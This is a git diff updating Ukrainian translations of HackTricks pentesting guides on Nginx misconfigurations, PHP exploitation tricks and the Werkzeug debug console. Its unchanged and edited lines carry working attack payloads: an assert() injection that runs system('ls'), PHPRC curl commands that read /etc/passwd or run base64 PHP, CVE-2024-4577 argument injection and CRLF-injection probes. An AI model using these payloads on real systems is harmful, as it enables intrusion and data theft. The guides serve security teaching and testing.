У цій конфігурації `/etc/nginx` призначено як кореневий каталог. Ця налаштування дозволяє доступ до файлів у вказаному кореневому каталозі, таких як `/hello.txt`. Однак важливо зазначити, що визначено лише конкретне місце (`/hello.txt`). Немає конфігурації для кореневого місця (`location / {...}`). Це упущення означає, що директива root застосовується глобально, що дозволяє запитам до кореневого шляху `/` отримувати доступ до файлів під `/etc/nginx`.
|
||||
У цій конфігурації `/etc/nginx` визначено як кореневий каталог. Ця налаштування дозволяє доступ до файлів у вказаному кореневому каталозі, таких як `/hello.txt`. Однак важливо зазначити, що визначено лише конкретне місце (`/hello.txt`). Немає конфігурації для кореневого місця (`location / {...}`). Це упущення означає, що директива root застосовується глобально, що дозволяє запитам до кореневого шляху `/` отримувати доступ до файлів під `/etc/nginx`.
|
||||
|
||||
Критичне питання безпеки виникає з цієї конфігурації. Простий запит `GET`, наприклад `GET /nginx.conf`, може розкрити чутливу інформацію, надаючи файл конфігурації Nginx, розташований за адресою `/etc/nginx/nginx.conf`. Встановлення кореня на менш чутливий каталог, наприклад `/etc`, може зменшити цей ризик, але все ще може дозволити ненавмисний доступ до інших критичних файлів, включаючи інші файли конфігурації, журнали доступу та навіть зашифровані облікові дані, що використовуються для базової аутентифікації HTTP.
|
||||
|
||||
|
@ -112,21 +112,21 @@ Connection: keep-alive
|
|||
Location: https://example.com/
|
||||
Detectify: clrf
|
||||
```
|
||||
Дізнайтеся більше про ризики CRLF-ін'єкції та розділення відповідей на [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
Дізнайтеся більше про ризики CRLF injection та response splitting на [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Ця техніка також [**пояснена в цій доповіді**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) з деякими вразливими прикладами та механізмами виявлення. Наприклад, щоб виявити цю неконфігурацію з точки зору чорного ящика, ви можете використовувати ці запити:
|
||||
Цю техніку також [**пояснено в цій доповіді**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) з деякими вразливими прикладами та механізмами виявлення. Наприклад, щоб виявити цю неправильну конфігурацію з точки зору чорного ящика, ви можете використати ці запити:
|
||||
|
||||
* `https://example.com/%20X` - Будь-який HTTP код
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
Якщо вразливий, перший поверне "X", оскільки це будь-який HTTP метод, а другий поверне помилку, оскільки H не є дійсним методом. Отже, сервер отримає щось на зразок: `GET / H HTTP/1.1`, і це викличе помилку.
|
||||
Якщо вразливий, перший поверне "X" як будь-який HTTP метод, а другий поверне помилку, оскільки H не є дійсним методом. Отже, сервер отримає щось на зразок: `GET / H HTTP/1.1` і це викличе помилку.
|
||||
|
||||
Інші приклади виявлення можуть бути:
|
||||
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Будь-який HTTP код
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
|
||||
|
||||
Деякі виявлені вразливі конфігурації, представлені в цій доповіді, були:
|
||||
Деякі вразливі конфігурації, виявлені в цій доповіді, були:
|
||||
|
||||
* Зверніть увагу, як **`$uri`** встановлено як є в кінцевому URL
|
||||
```
|
||||
|
@ -148,9 +148,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Будь-яка змінна
|
||||
|
||||
Було виявлено, що **дані, надані користувачем**, можуть розглядатися як **змінна Nginx** за певних обставин. Причина цієї поведінки залишається дещо неясною, проте це не рідкість і не просто перевірити. Цю аномалію було підкреслено в звіті про безпеку на HackerOne, який можна переглянути [тут](https://hackerone.com/reports/370094). Подальше розслідування повідомлення про помилку призвело до виявлення її виникнення в [модулі фільтра SSI в кодовій базі Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), вказуючи на Server Side Includes (SSI) як на корінну причину.
|
||||
Було виявлено, що **дані, надані користувачем**, можуть розглядатися як **змінна Nginx** за певних обставин. Причина цієї поведінки залишається дещо неясною, проте це не рідкість і не просто перевірити. Цю аномалію було підкреслено в звіті про безпеку на HackerOne, який можна переглянути [тут](https://hackerone.com/reports/370094). Подальше розслідування повідомлення про помилку призвело до виявлення її виникнення в [модулі фільтра SSI коду Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), вказуючи на Server Side Includes (SSI) як на корінну причину.
|
||||
|
||||
Щоб **виявити цю неконфігурацію**, можна виконати наступну команду, яка передбачає встановлення заголовка referer для тестування друку змінної:
|
||||
Щоб **виявити цю неправильну конфігурацію**, можна виконати наступну команду, яка передбачає встановлення заголовка referer для тестування виведення змінної:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
|
@ -183,21 +183,21 @@ proxy_hide_header Secret-Header;
|
|||
|
||||
За замовчуванням директива Nginx **`merge_slashes`** встановлена на **`on`**, що стискає кілька прямолінійних слешів у URL в один слеш. Ця функція, хоча й спрощує обробку URL, може ненавмисно приховувати вразливості в програмах за Nginx, особливо ті, що піддаються атакам локального включення файлів (LFI). Експерти з безпеки **Денні Робінсон і Ротем Бар** підкреслили потенційні ризики, пов'язані з цією поведінкою за замовчуванням, особливо коли Nginx діє як реверс-проксі.
|
||||
|
||||
Щоб зменшити такі ризики, рекомендується **вимкнути директиву `merge_slashes`** для програм, які піддаються цим вразливостям. Це забезпечить, що Nginx пересилає запити до програми без зміни структури URL, тим самим не маскуючи жодних основних проблем безпеки.
|
||||
Щоб зменшити такі ризики, рекомендується **вимкнути директиву `merge_slashes`** для програм, схильних до цих вразливостей. Це забезпечить, що Nginx пересилає запити до програми без зміни структури URL, тим самим не маскуючи жодних основних проблем безпеки.
|
||||
|
||||
Для отримання додаткової інформації перегляньте [Денні Робінсон і Ротем Бар](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
### **Maclicious Response Headers**
|
||||
|
||||
Як показано в [**цьому описі**](https://mizu.re/post/cors-playground), є певні заголовки, які, якщо присутні у відповіді від веб-сервера, змінять поведінку проксі Nginx. Ви можете перевірити їх [**в документації**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
Як показано в [**цьому описі**](https://mizu.re/post/cors-playground), є певні заголовки, які, якщо присутні у відповіді з веб-сервера, змінять поведінку проксі Nginx. Ви можете перевірити їх [**в документації**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Вказує Nginx на внутрішнє перенаправлення запиту на вказане місце.
|
||||
* `X-Accel-Redirect`: Вказує Nginx внутрішньо перенаправити запит на вказане місце.
|
||||
* `X-Accel-Buffering`: Контролює, чи повинен Nginx буферизувати відповідь.
|
||||
* `X-Accel-Charset`: Встановлює набір символів для відповіді при використанні X-Accel-Redirect.
|
||||
* `X-Accel-Expires`: Встановлює час закінчення терміну дії для відповіді при використанні X-Accel-Redirect.
|
||||
* `X-Accel-Limit-Rate`: Обмежує швидкість передачі для відповідей при використанні X-Accel-Redirect.
|
||||
|
||||
Наприклад, заголовок **`X-Accel-Redirect`** викличе внутрішнє **перенаправлення** в nginx. Отже, наявність конфігурації nginx з чимось на кшталт **`root /`** і відповіді від веб-сервера з **`X-Accel-Redirect: .env`** змусить nginx надіслати вміст **`/.env`** (Path Traversal).
|
||||
Наприклад, заголовок **`X-Accel-Redirect`** викличе внутрішнє **перенаправлення** в nginx. Отже, наявність конфігурації nginx з чимось на кшталт **`root /`** і відповіді з веб-сервера з **`X-Accel-Redirect: .env`** змусить nginx надіслати вміст **`/.env`** (Path Traversal).
|
||||
|
||||
### **Значення за замовчуванням у директиві Map**
|
||||
|
||||
|
@ -220,7 +220,7 @@ return 200 "Hello. It is private area: $mappocallow";
|
|||
}
|
||||
}
|
||||
```
|
||||
Без `default` **зловмисний користувач** може обійти безпеку, отримуючи доступ до **недефінованого URI** в межах `/map-poc`. [Посібник Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) радить встановити **значення за замовчуванням**, щоб уникнути таких проблем.
|
||||
Без `default` **зловмисний користувач** може обійти безпеку, отримавши доступ до **невизначеного URI** в `/map-poc`. [Посібник Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) радить встановити **значення за замовчуванням**, щоб уникнути таких проблем.
|
||||
|
||||
### **Уразливість до спуфінгу DNS**
|
||||
|
||||
|
@ -261,7 +261,7 @@ deny all;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що навіть якщо `proxy_pass` вказує на конкретний **шлях** такий як `http://backend:9999/socket.io`, з'єднання буде встановлено з `http://backend:9999`, тому ви можете **контактувати з будь-яким іншим шляхом всередині цього внутрішнього кінцевого пункту. Тож не має значення, чи вказано шлях в URL `proxy_pass`.**
|
||||
Зверніть увагу, що навіть якщо `proxy_pass` вказує на конкретний **шлях** такий як `http://backend:9999/socket.io`, з'єднання буде встановлено з `http://backend:9999`, тому ви можете **контактувати з будь-яким іншим шляхом всередині цього внутрішнього кінцевого пункту. Тож не має значення, чи вказано шлях в URL proxy_pass.**
|
||||
{% endhint %}
|
||||
|
||||
## Спробуйте самі
|
||||
|
@ -288,7 +288,7 @@ Nginxpwner - це простий інструмент для пошуку пош
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Загальне місцезнаходження куків:
|
||||
## Загальне місцезнаходження cookies:
|
||||
|
||||
Це також стосується куків phpMyAdmin.
|
||||
Це також стосується cookies phpMyAdmin.
|
||||
|
||||
Cookies:
|
||||
```
|
||||
|
@ -41,7 +41,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## Обхід порівнянь PHP
|
||||
|
||||
### Слабкі порівняння/Типове маніпулювання ( == )
|
||||
### Слабкі порівняння/Типове перетворення ( == )
|
||||
|
||||
Якщо в PHP використовується `==`, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип, якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати `===`.
|
||||
|
||||
|
@ -62,7 +62,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### **in\_array()**
|
||||
|
||||
**Типове маніпулювання** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
**Типове перетворення** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -129,7 +129,7 @@ From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challen
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщається в стек.
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
|
||||
|
||||
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:\
|
||||
**Надіслати вхідні дані, які змусили б regex виконати 100\_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток вважати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
|
||||
|
@ -162,26 +162,26 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Path Traversal and File Inclusion Exploitation
|
||||
## Перехід по шляхах та експлуатація включення файлів
|
||||
|
||||
Check:
|
||||
Перевірте:
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## More tricks
|
||||
## Більше трюків
|
||||
|
||||
* **register\_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register\_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні**, які використовуються в коді.
|
||||
* **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
|
||||
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковою назвою**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
|
||||
* **PHPSESSION куки одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні куки в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до куки іншого шляху**, встановивши значення куки іншого шляху.\
|
||||
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковою назвою**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи куки ім'я, яке відповідає йому в path2).
|
||||
* Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
|
||||
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
* [**LFI та RCE за допомогою php обгорток**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Ці функції зазвичай використовуються в PHP для **генерації хешів з паролів** та для **перевірки**, чи є пароль правильним у порівнянні з хешем.\
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD\_DEFAULT часто є тим же, що і PASSWORD\_BCRYPT.** І наразі **PASSWORD\_BCRYPT** має **обмеження на розмір вхідних даних у 72 байти**. Тому, коли ви намагаєтеся згенерувати хеш для чогось більшого за 72 байти за допомогою цього алгоритму, будуть використані лише перші 72B:
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD\_DEFAULT часто є тим же, що і PASSWORD\_BCRYPT.** І наразі **PASSWORD\_BCRYPT** має **обмеження на розмір вхідних даних у 72 байти**. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, будуть використані лише перші 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -242,7 +242,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
### **RCE через Assert()**
|
||||
|
||||
Ця функція в php дозволяє вам **виконувати код, який написаний у рядку** для того, щоб **повернути true або false** (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:\
|
||||
Ця функція в php дозволяє вам **виконувати код, написаний у рядку**, щоб **повернути true або false** (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> У цьому випадку, щоб отримати **RCE**, ви могли б зробити:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
|
@ -292,10 +292,10 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
### RCE через змінні середовища
|
||||
|
||||
Якщо ви знайдете вразливість, яка дозволяє вам **модифікувати змінні середовища в PHP** (і ще одну для завантаження файлів, хоча з більшою дослідженням, можливо, це можна обійти), ви могли б зловживати цією поведінкою, щоб отримати **RCE**.
|
||||
Якщо ви знайдете вразливість, яка дозволяє вам **модифікувати змінні середовища в PHP** (і ще одну для завантаження файлів, хоча з більшою дослідженням це може бути обійдено), ви могли б зловживати цією поведінкою, щоб отримати **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ця змінна середовища дозволяє вам завантажувати довільні бібліотеки під час виконання інших бінарних файлів (хоча в цьому випадку це може не спрацювати).
|
||||
* **`PHPRC`** : Інструктує PHP про **де знайти свій конфігураційний файл**, зазвичай називається `php.ini`. Якщо ви можете завантажити свій власний конфігураційний файл, то використовуйте `PHPRC`, щоб вказати PHP на нього. Додайте запис **`auto_prepend_file`**, що вказує на другий завантажений файл. Цей другий файл містить звичайний **PHP код, який потім виконується** PHP-інтерпретатором перед будь-яким іншим кодом.
|
||||
* **`PHPRC`** : Інструктує PHP, **де знайти свій конфігураційний файл**, зазвичай називається `php.ini`. Якщо ви можете завантажити свій власний конфігураційний файл, то використовуйте `PHPRC`, щоб вказати PHP на нього. Додайте запис **`auto_prepend_file`**, що вказує на другий завантажений файл. Цей другий файл містить звичайний **PHP код, який потім виконується** PHP-інтерпретатором перед будь-яким іншим кодом.
|
||||
1. Завантажте PHP файл, що містить наш shellcode
|
||||
2. Завантажте другий файл, що містить директиву **`auto_prepend_file`**, інструктуючи PHP-препроцесор виконати файл, який ми завантажили на етапі 1
|
||||
3. Встановіть змінну `PHPRC` на файл, який ми завантажили на етапі 2.
|
||||
|
@ -303,13 +303,13 @@ usort();}phpinfo;#, "cmp");
|
|||
* **PHPRC** - ще один варіант
|
||||
* Якщо ви **не можете завантажити файли**, ви можете використовувати в FreeBSD "файл" `/dev/fd/0`, який містить **`stdin`**, будучи **тілом** запиту, надісланого до `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Або для отримання RCE, увімкніть **`allow_url_include`** і додайте файл з **base64 PHP кодом**:
|
||||
* Або, щоб отримати RCE, увімкніть **`allow_url_include`** і додайте файл з **base64 PHP кодом**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Техніка [**з цього звіту**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, такий як [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
Веб-сервер аналізує HTTP запити та передає їх PHP скрипту, виконуючи запит, такий як [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
|
@ -345,15 +345,15 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути друк помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On`, і перезапустити apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Деобфускація PHP-коду
|
||||
### Деобфускація PHP коду
|
||||
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php-коду.**
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php коду.**
|
||||
|
||||
## PHP обгортки та протоколи
|
||||
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захисти на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug неавтентифікований RCE
|
||||
## Xdebug неавторизований RCE
|
||||
|
||||
Якщо ви бачите, що **Xdebug** **увімкнено** в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
|
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -486,7 +486,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -33,9 +33,9 @@ __import__('os').popen('whoami').read();
|
|||
|
||||
В інтернеті також є кілька експлойтів, таких як [цей](https://github.com/its-arun/Werkzeug-Debug-RCE) або один у metasploit.
|
||||
|
||||
## Захищено PIN-кодом - Перехід по шляху
|
||||
## Захищений PIN - Перехід по шляху
|
||||
|
||||
В деяких випадках **`/console`** кінцева точка буде захищена PIN-кодом. Якщо у вас є **вразливість до обходу файлів**, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
|
||||
В деяких випадках **`/console`** кінцева точка буде захищена PIN-кодом. Якщо у вас є **вразливість до переходу по файлах**, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
|
||||
|
||||
### Експлойт PIN-коду консолі Werkzeug
|
||||
|
||||
|
@ -159,7 +159,7 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні солі (`cookiesalt` та `pinsalt`) і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для `probably_public_bits` та `private_bits` потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN очікуваному в консолі Werkzeug.
|
||||
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні сіль (`cookiesalt` та `pinsalt`) і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для `probably_public_bits` та `private_bits` потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN з очікуваним у консолі Werkzeug.
|
||||
|
||||
{% hint style="success" %}
|
||||
Якщо ви використовуєте **стару версію** Werkzeug, спробуйте змінити **алгоритм хешування на md5** замість sha1.
|
||||
|
